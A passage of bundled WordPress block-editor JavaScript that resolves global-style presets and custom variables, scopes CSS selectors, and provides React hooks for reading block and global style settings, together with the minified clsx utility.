14496function getPresetVariableFromValue(features, blockName, variableStylePath, presetPropertyValue) {
14497 if (!presetPropertyValue) {
14498 return presetPropertyValue;
14499 }
14500 const cssVarInfix = STYLE_PATH_TO_CSS_VAR_INFIX[variableStylePath];
14501 const metadata = PRESET_METADATA.find(
14502 (data) => data.cssVarInfix === cssVarInfix
14503 );
14504 if (!metadata) {
14505 return presetPropertyValue;
14506 }
14507 const { valueKey, path } = metadata;
14508 const presetObject = findInPresetsBy(
14509 features,
14510 blockName,
14511 path,
14512 valueKey,
14513 presetPropertyValue
14514 );
14515 if (!presetObject) {
14516 return presetPropertyValue;
14517 }
14518 return `var:preset|${cssVarInfix}|${presetObject.slug}`;
14519}
14520function getValueFromPresetVariable(features, blockName, variable, [presetType, slug]) {
14521 const metadata = PRESET_METADATA.find(
14522 (data) => data.cssVarInfix === presetType
14523 );
14524 if (!metadata) {
14525 return variable;
14526 }
14527 const presetObject = findInPresetsBy(
14528 features.settings,
14529 blockName,
14530 metadata.path,
14531 "slug",
14532 slug
14533 );
14534 if (presetObject) {
14535 const { valueKey } = metadata;
14536 const result = presetObject[valueKey];
14537 return getValueFromVariable(features, blockName, result);
14538 }
14539 return variable;
14540}
14541function getValueFromCustomVariable(features, blockName, variable, path) {
14542 const result = getValueFromObjectPath(features.settings, [
14543 "blocks",
14544 blockName,
14545 "custom",
14546 ...path
14547 ]) ?? getValueFromObjectPath(features.settings, ["custom", ...path]);
14548 if (!result) {
14549 return variable;
14550 }
14551 return getValueFromVariable(features, blockName, result);
14552}
14553function getValueFromVariable(features, blockName, variable) {
14554 if (!variable || typeof variable !== "string") {
14555 if (typeof variable?.ref === "string") {
14556 variable = getValueFromObjectPath(features, variable.ref);
14557 if (!variable || !!variable?.ref) {
14558 return variable;
14559 }
14560 } else {
14561 return variable;
14562 }
14563 }
14564 const USER_VALUE_PREFIX = "var:";
14565 const THEME_VALUE_PREFIX = "var(--wp--";
14566 const THEME_VALUE_SUFFIX = ")";
14567 let parsedVar;
14568 if (variable.startsWith(USER_VALUE_PREFIX)) {
14569 parsedVar = variable.slice(USER_VALUE_PREFIX.length).split("|");
14570 } else if (variable.startsWith(THEME_VALUE_PREFIX) && variable.endsWith(THEME_VALUE_SUFFIX)) {
14571 parsedVar = variable.slice(THEME_VALUE_PREFIX.length, -THEME_VALUE_SUFFIX.length).split("--");
14572 } else {
14573 return variable;
14574 }
14575 const [type, ...path] = parsedVar;
14576 if (type === "preset") {
14577 return getValueFromPresetVariable(
14578 features,
14579 blockName,
14580 variable,
14581 path
14582 );
14583 }
14584 if (type === "custom") {
14585 return getValueFromCustomVariable(
14586 features,
14587 blockName,
14588 variable,
14589 path
14590 );
14591 }
14592 return variable;
14593}
14594function scopeSelector(scope, selector) {
14595 if (!scope || !selector) {
14596 return selector;
14597 }
14598 const scopes = scope.split(",");
14599 const selectors = selector.split(",");
14600 const selectorsScoped = [];
14601 scopes.forEach((outer) => {
14602 selectors.forEach((inner) => {
14603 selectorsScoped.push(`${outer.trim()} ${inner.trim()}`);
14604 });
14605 });
14606 return selectorsScoped.join(", ");
14607}
14608function scopeFeatureSelectors(scope, selectors) {
14609 if (!scope || !selectors) {
14610 return;
14611 }
14612 const featureSelectors = {};
14613 Object.entries(selectors).forEach(([feature, selector]) => {
14614 if (typeof selector === "string") {
14615 featureSelectors[feature] = scopeSelector(scope, selector);
14616 }
14617 if (typeof selector === "object") {
14618 featureSelectors[feature] = {};
14619 Object.entries(selector).forEach(
14620 ([subfeature, subfeatureSelector]) => {
14621 featureSelectors[feature][subfeature] = scopeSelector(
14622 scope,
14623 subfeatureSelector
14624 );
14625 }
14626 );
14627 }
14628 });
14629 return featureSelectors;
14630}
14631function appendToSelector(selector, toAppend) {
14632 if (!selector.includes(",")) {
14633 return selector + toAppend;
14634 }
14635 const selectors = selector.split(",");
14636 const newSelectors = selectors.map((sel) => sel + toAppend);
14637 return newSelectors.join(",");
14638}
14639function areGlobalStyleConfigsEqual(original, variation) {
14640 if (typeof original !== "object" || typeof variation !== "object") {
14641 return original === variation;
14642 }
14643 return es6_default()(original?.styles, variation?.styles) && es6_default()(original?.settings, variation?.settings);
14644}
14645function getBlockStyleVariationSelector(variation, blockSelector) {
14646 const variationClass = `.is-style-${variation}`;
14647 if (!blockSelector) {
14648 return variationClass;
14649 }
14650 const ancestorRegex = /((?::\([^)]+\))?\s*)([^\s:]+)/;
14651 const addVariationClass = (_match, group1, group2) => {
14652 return group1 + group2 + variationClass;
14653 };
14654 const result = blockSelector.split(",").map((part) => part.replace(ancestorRegex, addVariationClass));
14655 return result.join(",");
14656}
14657function getResolvedThemeFilePath(file, themeFileURIs) {
14658 if (!file || !themeFileURIs || !Array.isArray(themeFileURIs)) {
14659 return file;
14660 }
14661 const uri = themeFileURIs.find(
14662 (themeFileUri) => themeFileUri?.name === file
14663 );
14664 if (!uri?.href) {
14665 return file;
14666 }
14667 return uri?.href;
14668}
14669function getResolvedRefValue(ruleValue, tree) {
14670 if (!ruleValue || !tree) {
14671 return ruleValue;
14672 }
14673 if (typeof ruleValue !== "string" && ruleValue?.ref) {
14674 const resolvedRuleValue = (0,external_wp_styleEngine_namespaceObject.getCSSValueFromRawStyle)(
14675 getValueFromObjectPath(tree, ruleValue.ref)
14676 );
14677 if (resolvedRuleValue?.ref) {
14678 return void 0;
14679 }
14680 if (resolvedRuleValue === void 0) {
14681 return ruleValue;
14682 }
14683 return resolvedRuleValue;
14684 }
14685 return ruleValue;
14686}
14687function getResolvedValue(ruleValue, tree) {
14688 if (!ruleValue || !tree) {
14689 return ruleValue;
14690 }
14691 const resolvedValue = getResolvedRefValue(ruleValue, tree);
14692 if (resolvedValue?.url) {
14693 resolvedValue.url = getResolvedThemeFilePath(
14694 resolvedValue.url,
14695 tree?._links?.["wp:theme-file"]
14696 );
14697 }
14698 return resolvedValue;
14699}
14700
14701
14702;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/context.js
14703
14704const DEFAULT_GLOBAL_STYLES_CONTEXT = {
14705 user: {},
14706 base: {},
14707 merged: {},
14708 setUserConfig: () => {
14709 }
14710};
14711const GlobalStylesContext = (0,external_wp_element_namespaceObject.createContext)(
14712 DEFAULT_GLOBAL_STYLES_CONTEXT
14713);
14714GlobalStylesContext.displayName = "GlobalStylesContext";
14715
14716
14717;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/hooks.js
14718
14719
14720
14721
14722
14723
14724
14725
14726
14727const EMPTY_CONFIG = { settings: {}, styles: {} };
14728const VALID_SETTINGS = [
14729 "appearanceTools",
14730 "useRootPaddingAwareAlignments",
14731 "background.backgroundImage",
14732 "background.backgroundRepeat",
14733 "background.backgroundSize",
14734 "background.backgroundPosition",
14735 "border.color",
14736 "border.radius",
14737 "border.style",
14738 "border.width",
14739 "border.radiusSizes",
14740 "shadow.presets",
14741 "shadow.defaultPresets",
14742 "color.background",
14743 "color.button",
14744 "color.caption",
14745 "color.custom",
14746 "color.customDuotone",
14747 "color.customGradient",
14748 "color.defaultDuotone",
14749 "color.defaultGradients",
14750 "color.defaultPalette",
14751 "color.duotone",
14752 "color.gradients",
14753 "color.heading",
14754 "color.link",
14755 "color.palette",
14756 "color.text",
14757 "custom",
14758 "dimensions.aspectRatio",
14759 "dimensions.minHeight",
14760 "layout.contentSize",
14761 "layout.definitions",
14762 "layout.wideSize",
14763 "lightbox.enabled",
14764 "lightbox.allowEditing",
14765 "position.fixed",
14766 "position.sticky",
14767 "spacing.customSpacingSize",
14768 "spacing.defaultSpacingSizes",
14769 "spacing.spacingSizes",
14770 "spacing.spacingScale",
14771 "spacing.blockGap",
14772 "spacing.margin",
14773 "spacing.padding",
14774 "spacing.units",
14775 "typography.fluid",
14776 "typography.customFontSize",
14777 "typography.defaultFontSizes",
14778 "typography.dropCap",
14779 "typography.fontFamilies",
14780 "typography.fontSizes",
14781 "typography.fontStyle",
14782 "typography.fontWeight",
14783 "typography.letterSpacing",
14784 "typography.lineHeight",
14785 "typography.textAlign",
14786 "typography.textColumns",
14787 "typography.textDecoration",
14788 "typography.textTransform",
14789 "typography.writingMode"
14790];
14791const useGlobalStylesReset = () => {
14792 const { user, setUserConfig } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
14793 const config = {
14794 settings: user.settings,
14795 styles: user.styles
14796 };
14797 const canReset = !!config && !es6_default()(config, EMPTY_CONFIG);
14798 return [
14799 canReset,
14800 (0,external_wp_element_namespaceObject.useCallback)(() => setUserConfig(EMPTY_CONFIG), [setUserConfig])
14801 ];
14802};
14803function useGlobalSetting(propertyPath, blockName, source = "all") {
14804 const { setUserConfig, ...configs } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
14805 const appendedBlockPath = blockName ? ".blocks." + blockName : "";
14806 const appendedPropertyPath = propertyPath ? "." + propertyPath : "";
14807 const contextualPath = `settings${appendedBlockPath}${appendedPropertyPath}`;
14808 const globalPath = `settings${appendedPropertyPath}`;
14809 const sourceKey = source === "all" ? "merged" : source;
14810 const settingValue = (0,external_wp_element_namespaceObject.useMemo)(() => {
14811 const configToUse = configs[sourceKey];
14812 if (!configToUse) {
14813 throw "Unsupported source";
14814 }
14815 if (propertyPath) {
14816 return getValueFromObjectPath(configToUse, contextualPath) ?? getValueFromObjectPath(configToUse, globalPath);
14817 }
14818 let result = {};
14819 VALID_SETTINGS.forEach((setting) => {
14820 const value = getValueFromObjectPath(
14821 configToUse,
14822 `settings${appendedBlockPath}.${setting}`
14823 ) ?? getValueFromObjectPath(configToUse, `settings.${setting}`);
14824 if (value !== void 0) {
14825 result = setImmutably(result, setting.split("."), value);
14826 }
14827 });
14828 return result;
14829 }, [
14830 configs,
14831 sourceKey,
14832 propertyPath,
14833 contextualPath,
14834 globalPath,
14835 appendedBlockPath
14836 ]);
14837 const setSetting = (newValue) => {
14838 setUserConfig(
14839 (currentConfig) => setImmutably(currentConfig, contextualPath.split("."), newValue)
14840 );
14841 };
14842 return [settingValue, setSetting];
14843}
14844function useGlobalStyle(path, blockName, source = "all", { shouldDecodeEncode = true } = {}) {
14845 const {
14846 merged: mergedConfig,
14847 base: baseConfig,
14848 user: userConfig,
14849 setUserConfig
14850 } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
14851 const appendedPath = path ? "." + path : "";
14852 const finalPath = !blockName ? `styles${appendedPath}` : `styles.blocks.${blockName}${appendedPath}`;
14853 const setStyle = (newValue) => {
14854 setUserConfig(
14855 (currentConfig) => setImmutably(
14856 currentConfig,
14857 finalPath.split("."),
14858 shouldDecodeEncode ? getPresetVariableFromValue(
14859 mergedConfig.settings,
14860 blockName,
14861 path,
14862 newValue
14863 ) : newValue
14864 )
14865 );
14866 };
14867 let rawResult, result;
14868 switch (source) {
14869 case "all":
14870 rawResult = getValueFromObjectPath(mergedConfig, finalPath);
14871 result = shouldDecodeEncode ? getValueFromVariable(mergedConfig, blockName, rawResult) : rawResult;
14872 break;
14873 case "user":
14874 rawResult = getValueFromObjectPath(userConfig, finalPath);
14875 result = shouldDecodeEncode ? getValueFromVariable(mergedConfig, blockName, rawResult) : rawResult;
14876 break;
14877 case "base":
14878 rawResult = getValueFromObjectPath(baseConfig, finalPath);
14879 result = shouldDecodeEncode ? getValueFromVariable(baseConfig, blockName, rawResult) : rawResult;
14880 break;
14881 default:
14882 throw "Unsupported source";
14883 }
14884 return [result, setStyle];
14885}
14886function useSettingsForBlockElement(parentSettings, blockName, element) {
14887 const { supportedStyles, supports } = (0,external_wp_data_namespaceObject.useSelect)(
14888 (select) => {
14889 return {
14890 supportedStyles: unlock(
14891 select(external_wp_blocks_namespaceObject.store)
14892 ).getSupportedStyles(blockName, element),
14893 supports: select(external_wp_blocks_namespaceObject.store).getBlockType(blockName)?.supports
14894 };
14895 },
14896 [blockName, element]
14897 );
14898 return (0,external_wp_element_namespaceObject.useMemo)(() => {
14899 const updatedSettings = { ...parentSettings };
14900 if (!supportedStyles.includes("fontSize")) {
14901 updatedSettings.typography = {
14902 ...updatedSettings.typography,
14903 fontSizes: {},
14904 customFontSize: false,
14905 defaultFontSizes: false
14906 };
14907 }
14908 if (!supportedStyles.includes("fontFamily")) {
14909 updatedSettings.typography = {
14910 ...updatedSettings.typography,
14911 fontFamilies: {}
14912 };
14913 }
14914 updatedSettings.color = {
14915 ...updatedSettings.color,
14916 text: updatedSettings.color?.text && supportedStyles.includes("color"),
14917 background: updatedSettings.color?.background && (supportedStyles.includes("background") || supportedStyles.includes("backgroundColor")),
14918 button: updatedSettings.color?.button && supportedStyles.includes("buttonColor"),
14919 heading: updatedSettings.color?.heading && supportedStyles.includes("headingColor"),
14920 link: updatedSettings.color?.link && supportedStyles.includes("linkColor"),
14921 caption: updatedSettings.color?.caption && supportedStyles.includes("captionColor")
14922 };
14923 if (!supportedStyles.includes("background")) {
14924 updatedSettings.color.gradients = [];
14925 updatedSettings.color.customGradient = false;
14926 }
14927 if (!supportedStyles.includes("filter")) {
14928 updatedSettings.color.defaultDuotone = false;
14929 updatedSettings.color.customDuotone = false;
14930 }
14931 [
14932 "lineHeight",
14933 "fontStyle",
14934 "fontWeight",
14935 "letterSpacing",
14936 "textAlign",
14937 "textTransform",
14938 "textDecoration",
14939 "writingMode"
14940 ].forEach((key) => {
14941 if (!supportedStyles.includes(key)) {
14942 updatedSettings.typography = {
14943 ...updatedSettings.typography,
14944 [key]: false
14945 };
14946 }
14947 });
14948 if (!supportedStyles.includes("columnCount")) {
14949 updatedSettings.typography = {
14950 ...updatedSettings.typography,
14951 textColumns: false
14952 };
14953 }
14954 ["contentSize", "wideSize"].forEach((key) => {
14955 if (!supportedStyles.includes(key)) {
14956 updatedSettings.layout = {
14957 ...updatedSettings.layout,
14958 [key]: false
14959 };
14960 }
14961 });
14962 ["padding", "margin", "blockGap"].forEach((key) => {
14963 if (!supportedStyles.includes(key)) {
14964 updatedSettings.spacing = {
14965 ...updatedSettings.spacing,
14966 [key]: false
14967 };
14968 }
14969 const sides = Array.isArray(supports?.spacing?.[key]) ? supports?.spacing?.[key] : supports?.spacing?.[key]?.sides;
14970 if (sides?.length && updatedSettings.spacing?.[key]) {
14971 updatedSettings.spacing = {
14972 ...updatedSettings.spacing,
14973 [key]: {
14974 ...updatedSettings.spacing?.[key],
14975 sides
14976 }
14977 };
14978 }
14979 });
14980 ["aspectRatio", "minHeight"].forEach((key) => {
14981 if (!supportedStyles.includes(key)) {
14982 updatedSettings.dimensions = {
14983 ...updatedSettings.dimensions,
14984 [key]: false
14985 };
14986 }
14987 });
14988 ["radius", "color", "style", "width"].forEach((key) => {
14989 if (!supportedStyles.includes(
14990 "border" + key.charAt(0).toUpperCase() + key.slice(1)
14991 )) {
14992 updatedSettings.border = {
14993 ...updatedSettings.border,
14994 [key]: false
14995 };
14996 }
14997 });
14998 ["backgroundImage", "backgroundSize"].forEach((key) => {
14999 if (!supportedStyles.includes(key)) {
15000 updatedSettings.background = {
15001 ...updatedSettings.background,
15002 [key]: false
15003 };
15004 }
15005 });
15006 updatedSettings.shadow = supportedStyles.includes("shadow") ? updatedSettings.shadow : false;
15007 if (element) {
15008 updatedSettings.typography.textAlign = false;
15009 }
15010 return updatedSettings;
15011 }, [parentSettings, supportedStyles, supports, element]);
15012}
15013function useColorsPerOrigin(settings) {
15014 const customColors = settings?.color?.palette?.custom;
15015 const themeColors = settings?.color?.palette?.theme;
15016 const defaultColors = settings?.color?.palette?.default;
15017 const shouldDisplayDefaultColors = settings?.color?.defaultPalette;
15018 return (0,external_wp_element_namespaceObject.useMemo)(() => {
15019 const result = [];
15020 if (themeColors && themeColors.length) {
15021 result.push({
15022 name: (0,external_wp_i18n_namespaceObject._x)(
15023 "Theme",
15024 "Indicates this palette comes from the theme."
15025 ),
15026 colors: themeColors
15027 });
15028 }
15029 if (shouldDisplayDefaultColors && defaultColors && defaultColors.length) {
15030 result.push({
15031 name: (0,external_wp_i18n_namespaceObject._x)(
15032 "Default",
15033 "Indicates this palette comes from WordPress."
15034 ),
15035 colors: defaultColors
15036 });
15037 }
15038 if (customColors && customColors.length) {
15039 result.push({
15040 name: (0,external_wp_i18n_namespaceObject._x)(
15041 "Custom",
15042 "Indicates this palette is created by the user."
15043 ),
15044 colors: customColors
15045 });
15046 }
15047 return result;
15048 }, [
15049 customColors,
15050 themeColors,
15051 defaultColors,
15052 shouldDisplayDefaultColors
15053 ]);
15054}
15055function useGradientsPerOrigin(settings) {
15056 const customGradients = settings?.color?.gradients?.custom;
15057 const themeGradients = settings?.color?.gradients?.theme;
15058 const defaultGradients = settings?.color?.gradients?.default;
15059 const shouldDisplayDefaultGradients = settings?.color?.defaultGradients;
15060 return (0,external_wp_element_namespaceObject.useMemo)(() => {
15061 const result = [];
15062 if (themeGradients && themeGradients.length) {
15063 result.push({
15064 name: (0,external_wp_i18n_namespaceObject._x)(
15065 "Theme",
15066 "Indicates this palette comes from the theme."
15067 ),
15068 gradients: themeGradients
15069 });
15070 }
15071 if (shouldDisplayDefaultGradients && defaultGradients && defaultGradients.length) {
15072 result.push({
15073 name: (0,external_wp_i18n_namespaceObject._x)(
15074 "Default",
15075 "Indicates this palette comes from WordPress."
15076 ),
15077 gradients: defaultGradients
15078 });
15079 }
15080 if (customGradients && customGradients.length) {
15081 result.push({
15082 name: (0,external_wp_i18n_namespaceObject._x)(
15083 "Custom",
15084 "Indicates this palette is created by the user."
15085 ),
15086 gradients: customGradients
15087 });
15088 }
15089 return result;
15090 }, [
15091 customGradients,
15092 themeGradients,
15093 defaultGradients,
15094 shouldDisplayDefaultGradients
15095 ]);
15096}
15097
15098
15099;// ./node_modules/clsx/dist/clsx.mjs
15100function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
15101;// ./node_modules/@wordpress/block-editor/build-module/hooks/utils.js
15102
15103
15104
15105
15106
15107
15108
15109
15110
15111
15112
15113
15114
15115const utils_cleanEmptyObject = (object) => {
15116 if (object === null || typeof object !== "object" || Array.isArray(object)) {
15117 return object;
15118 }
15119 const cleanedNestedObjects = Object.entries(object).map(([key, value]) => [key, utils_cleanEmptyObject(value)]).filter(([, value]) => value !== void 0);
15120 return !cleanedNestedObjects.length ? void 0 : Object.fromEntries(cleanedNestedObjects);
15121};
15122function transformStyles(activeSupports, migrationPaths, result, source, index, results) {
15123 if (Object.values(activeSupports ?? {}).every(
15124 (isActive) => !isActive
15125 )) {
15126 return result;
15127 }
15128 if (results.length === 1 && result.innerBlocks.length === source.length) {
15129 return result;
15130 }
15131 let referenceBlockAttributes = source[0]?.attributes;
15132 if (results.length > 1 && source.length > 1) {
15133 if (source[index]) {
15134 referenceBlockAttributes = source[index]?.attributes;
15135 } else {
15136 return result;
15137 }
15138 }
15139 let returnBlock = result;
15140 Object.entries(activeSupports).forEach(([support, isActive]) => {
15141 if (isActive) {
15142 migrationPaths[support].forEach((path) => {
15143 const styleValue = getValueFromObjectPath(
15144 referenceBlockAttributes,
15145 path
15146 );
15147 if (styleValue) {
15148 returnBlock = {
15149 ...returnBlock,
15150 attributes: setImmutably(
15151 returnBlock.attributes,
15152 path,
15153 styleValue
15154 )
15155 };
15156 }
15157 });
15158 }
15159 });
15160 return returnBlock;
15161}
15162function shouldSkipSerialization(blockNameOrType, featureSet, feature) {
15163 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockNameOrType, featureSet);
15164 const skipSerialization = support?.__experimentalSkipSerialization;
15165 if (Array.isArray(skipSerialization)) {
15166 return skipSerialization.includes(feature);
15167 }
15168 return skipSerialization;
15169}
15170const pendingStyleOverrides = /* @__PURE__ */ new WeakMap();
15171function useStyleOverride({ id, css }) {
15172 return usePrivateStyleOverride({ id, css });
15173}
15174function usePrivateStyleOverride({
15175 id,
15176 css,
15177 assets,
15178 __unstableType,
15179 variation,
15180 clientId
15181} = {}) {
15182 const { setStyleOverride, deleteStyleOverride } = unlock(
15183 (0,external_wp_data_namespaceObject.useDispatch)(store)
15184 );
15185 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
15186 const fallbackId = (0,external_wp_element_namespaceObject.useId)();
15187 (0,external_wp_element_namespaceObject.useEffect)(() => {
15188 if (!css && !assets) {
15189 return;
15190 }
15191 const _id = id || fallbackId;
15192 const override = {
15193 id,
15194 css,
15195 assets,
15196 __unstableType,
15197 variation,
15198 clientId
15199 };
15200 if (!pendingStyleOverrides.get(registry)) {
15201 pendingStyleOverrides.set(registry, []);
15202 }
15203 pendingStyleOverrides.get(registry).push([_id, override]);
15204 window.queueMicrotask(() => {
15205 if (pendingStyleOverrides.get(registry)?.length) {
15206 registry.batch(() => {
15207 pendingStyleOverrides.get(registry).forEach((args) => {
15208 setStyleOverride(...args);
15209 });
15210 pendingStyleOverrides.set(registry, []);
15211 });
15212 }
15213 });
15214 return () => {
15215 const isPending = pendingStyleOverrides.get(registry)?.find(([currentId]) => currentId === _id);
15216 if (isPending) {
15217 pendingStyleOverrides.set(
15218 registry,
15219 pendingStyleOverrides.get(registry).filter(([currentId]) => currentId !== _id)
15220 );
15221 } else {
15222 deleteStyleOverride(_id);
15223 }
15224 };
15225 }, [
15226 id,
15227 css,
15228 clientId,
15229 assets,
15230 __unstableType,
15231 fallbackId,
15232 setStyleOverride,
15233 deleteStyleOverride,
15234 registry
15235 ]);
15236}
15237function useBlockSettings(name, parentLayout) {
15238 const [
15239 backgroundImage,
15240 backgroundSize,
15241 customFontFamilies,
15242 defaultFontFamilies,
15243 themeFontFamilies,
15244 defaultFontSizesEnabled,
15245 customFontSizes,
15246 defaultFontSizes,
15247 themeFontSizes,
15248 customFontSize,
15249 fontStyle,
15250 fontWeight,
15251 lineHeight,
15252 textAlign,
15253 textColumns,
15254 textDecoration,
15255 writingMode,
15256 textTransform,
15257 letterSpacing,
15258 padding,
15259 margin,
15260 blockGap,
15261 defaultSpacingSizesEnabled,
15262 customSpacingSize,
15263 userSpacingSizes,
15264 defaultSpacingSizes,
15265 themeSpacingSizes,
15266 units,
15267 aspectRatio,
15268 minHeight,
15269 layout,
15270 borderColor,
15271 borderRadius,
15272 borderStyle,
15273 borderWidth,
15274 borderRadiusSizes,
15275 customColorsEnabled,
15276 customColors,
15277 customDuotone,
15278 themeColors,
15279 defaultColors,
15280 defaultPalette,
15281 defaultDuotone,
15282 userDuotonePalette,
15283 themeDuotonePalette,
15284 defaultDuotonePalette,
15285 userGradientPalette,
15286 themeGradientPalette,
15287 defaultGradientPalette,
15288 defaultGradients,
15289 areCustomGradientsEnabled,
15290 isBackgroundEnabled,
15291 isLinkEnabled,
15292 isTextEnabled,
15293 isHeadingEnabled,
15294 isButtonEnabled,
15295 shadow
15296 ] = use_settings_useSettings(
15297 "background.backgroundImage",
15298 "background.backgroundSize",
15299 "typography.fontFamilies.custom",
15300 "typography.fontFamilies.default",
15301 "typography.fontFamilies.theme",
15302 "typography.defaultFontSizes",
15303 "typography.fontSizes.custom",
15304 "typography.fontSizes.default",
15305 "typography.fontSizes.theme",
15306 "typography.customFontSize",
15307 "typography.fontStyle",
15308 "typography.fontWeight",
15309 "typography.lineHeight",
15310 "typography.textAlign",
15311 "typography.textColumns",
15312 "typography.textDecoration",
15313 "typography.writingMode",
15314 "typography.textTransform",
15315 "typography.letterSpacing",
15316 "spacing.padding",
15317 "spacing.margin",
15318 "spacing.blockGap",
15319 "spacing.defaultSpacingSizes",
15320 "spacing.customSpacingSize",
15321 "spacing.spacingSizes.custom",
15322 "spacing.spacingSizes.default",
15323 "spacing.spacingSizes.theme",
15324 "spacing.units",
15325 "dimensions.aspectRatio",
15326 "dimensions.minHeight",
15327 "layout",
15328 "border.color",
15329 "border.radius",
15330 "border.style",
15331 "border.width",
15332 "border.radiusSizes",
15333 "color.custom",
15334 "color.palette.custom",
15335 "color.customDuotone",
15336 "color.palette.theme",
15337 "color.palette.default",
15338 "color.defaultPalette",
15339 "color.defaultDuotone",
15340 "color.duotone.custom",
15341 "color.duotone.theme",
15342 "color.duotone.default",
15343 "color.gradients.custom",
15344 "color.gradients.theme",
15345 "color.gradients.default",
15346 "color.defaultGradients",
15347 "color.customGradient",
15348 "color.background",
15349 "color.link",
15350 "color.text",
15351 "color.heading",
15352 "color.button",
15353 "shadow"
15354 );
15355 const rawSettings = (0,external_wp_element_namespaceObject.useMemo)(() => {
15356 return {
15357 background: {
15358 backgroundImage,
15359 backgroundSize
15360 },
15361 color: {
15362 palette: {
15363 custom: customColors,
15364 theme: themeColors,
15365 default: defaultColors
15366 },
15367 gradients: {
15368 custom: userGradientPalette,
15369 theme: themeGradientPalette,
15370 default: defaultGradientPalette
15371 },
15372 duotone: {
15373 custom: userDuotonePalette,
15374 theme: themeDuotonePalette,
15375 default: defaultDuotonePalette
15376 },
15377 defaultGradients,
15378 defaultPalette,
15379 defaultDuotone,
15380 custom: customColorsEnabled,
15381 customGradient: areCustomGradientsEnabled,
15382 customDuotone,
15383 background: isBackgroundEnabled,
15384 link: isLinkEnabled,
15385 heading: isHeadingEnabled,
15386 button: isButtonEnabled,
15387 text: isTextEnabled
15388 },
15389 typography: {
15390 fontFamilies: {
15391 custom: customFontFamilies,
15392 default: defaultFontFamilies,
15393 theme: themeFontFamilies
15394 },
15395 fontSizes: {
15396 custom: customFontSizes,
15397 default: defaultFontSizes,
15398 theme: themeFontSizes
15399 },
15400 customFontSize,
15401 defaultFontSizes: defaultFontSizesEnabled,
15402 fontStyle,
15403 fontWeight,
15404 lineHeight,
15405 textAlign,
15406 textColumns,
15407 textDecoration,
15408 textTransform,
15409 letterSpacing,
15410 writingMode
15411 },
15412 spacing: {
15413 spacingSizes: {
15414 custom: userSpacingSizes,
15415 default: defaultSpacingSizes,
15416 theme: themeSpacingSizes
15417 },
15418 customSpacingSize,
15419 defaultSpacingSizes: defaultSpacingSizesEnabled,
15420 padding,
15421 margin,
15422 blockGap,
15423 units
15424 },
15425 border: {
15426 color: borderColor,
15427 radius: borderRadius,
15428 style: borderStyle,
15429 width: borderWidth,
15430 radiusSizes: borderRadiusSizes
15431 },
15432 dimensions: {
15433 aspectRatio,
15434 minHeight
15435 },
15436 layout,
15437 parentLayout,
15438 shadow
15439 };
15440 }, [
15441 backgroundImage,
15442 backgroundSize,
15443 customFontFamilies,
15444 defaultFontFamilies,
15445 themeFontFamilies,
15446 defaultFontSizesEnabled,
15447 customFontSizes,
15448 defaultFontSizes,
15449 themeFontSizes,
15450 customFontSize,
15451 fontStyle,
15452 fontWeight,
15453 lineHeight,
15454 textAlign,
15455 textColumns,
15456 textDecoration,
15457 textTransform,
15458 letterSpacing,
15459 writingMode,
15460 padding,
15461 margin,
15462 blockGap,
15463 defaultSpacingSizesEnabled,
15464 customSpacingSize,
15465 userSpacingSizes,
15466 defaultSpacingSizes,
15467 themeSpacingSizes,
15468 units,
15469 aspectRatio,
15470 minHeight,
15471 layout,
15472 parentLayout,
15473 borderColor,
15474 borderRadius,
15475 borderStyle,
15476 borderWidth,
15477 borderRadiusSizes,
15478 customColorsEnabled,
15479 customColors,
15480 customDuotone,
15481 themeColors,
15482 defaultColors,
15483 defaultPalette,
15484 defaultDuotone,
15485 userDuotonePalette,
15486 themeDuotonePalette,
15487 defaultDuotonePalette,
15488 userGradientPalette,
15489 themeGradientPalette,
15490 defaultGradientPalette,
15491 defaultGradients,
15492 areCustomGradientsEnabled,
15493 isBackgroundEnabled,
15494 isLinkEnabled,
15495 isTextEnabled,
15496 isHeadingEnabled,
15497 isButtonEnabled,
15498 shadow
15499 ]);
15500 return useSettingsForBlockElement(rawSettings, name);
15501}
15502function createBlockEditFilter(features) {
15503 features = features.map((settings) => {
15504 return { ...settings, Edit: (0,external_wp_element_namespaceObject.memo)(settings.edit) };
15505 });
15506 const withBlockEditHooks = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
15507 (OriginalBlockEdit) => (props) => {
15508 const context = useBlockEditContext();
15509 return [
15510 ...features.map((feature, i) => {
15511 const {
15512 Edit,
15513 hasSupport,
15514 attributeKeys = [],
15515 shareWithChildBlocks
15516 } = feature;
15517 const shouldDisplayControls = context[mayDisplayControlsKey] || context[mayDisplayParentControlsKey] && shareWithChildBlocks;
15518 if (!shouldDisplayControls || !hasSupport(props.name)) {
15519 return null;
15520 }
15521 const neededProps = {};
15522 for (const key of attributeKeys) {
15523 if (props.attributes[key]) {
15524 neededProps[key] = props.attributes[key];
15525 }
15526 }
15527 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15528 Edit,
15529 {
15530 name: props.name,
15531 isSelected: props.isSelected,
15532 clientId: props.clientId,
15533 setAttributes: props.setAttributes,
15534 __unstableParentLayout: props.__unstableParentLayout,
15535 ...neededProps
15536 },
15537 i
15538 );
15539 }),
15540 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalBlockEdit, { ...props }, "edit")
15541 ];
15542 },
15543 "withBlockEditHooks"
15544 );
15545 (0,external_wp_hooks_namespaceObject.addFilter)("editor.BlockEdit", "core/editor/hooks", withBlockEditHooks);
15546}
15547function BlockProps({
15548 index,
15549 useBlockProps: hook,
15550 setAllWrapperProps,
15551 ...props
15552}) {
15553 const wrapperProps = hook(props);
15554 const setWrapperProps = (next) => setAllWrapperProps((prev) => {
15555 const nextAll = [...prev];
15556 nextAll[index] = next;
15557 return nextAll;
15558 });
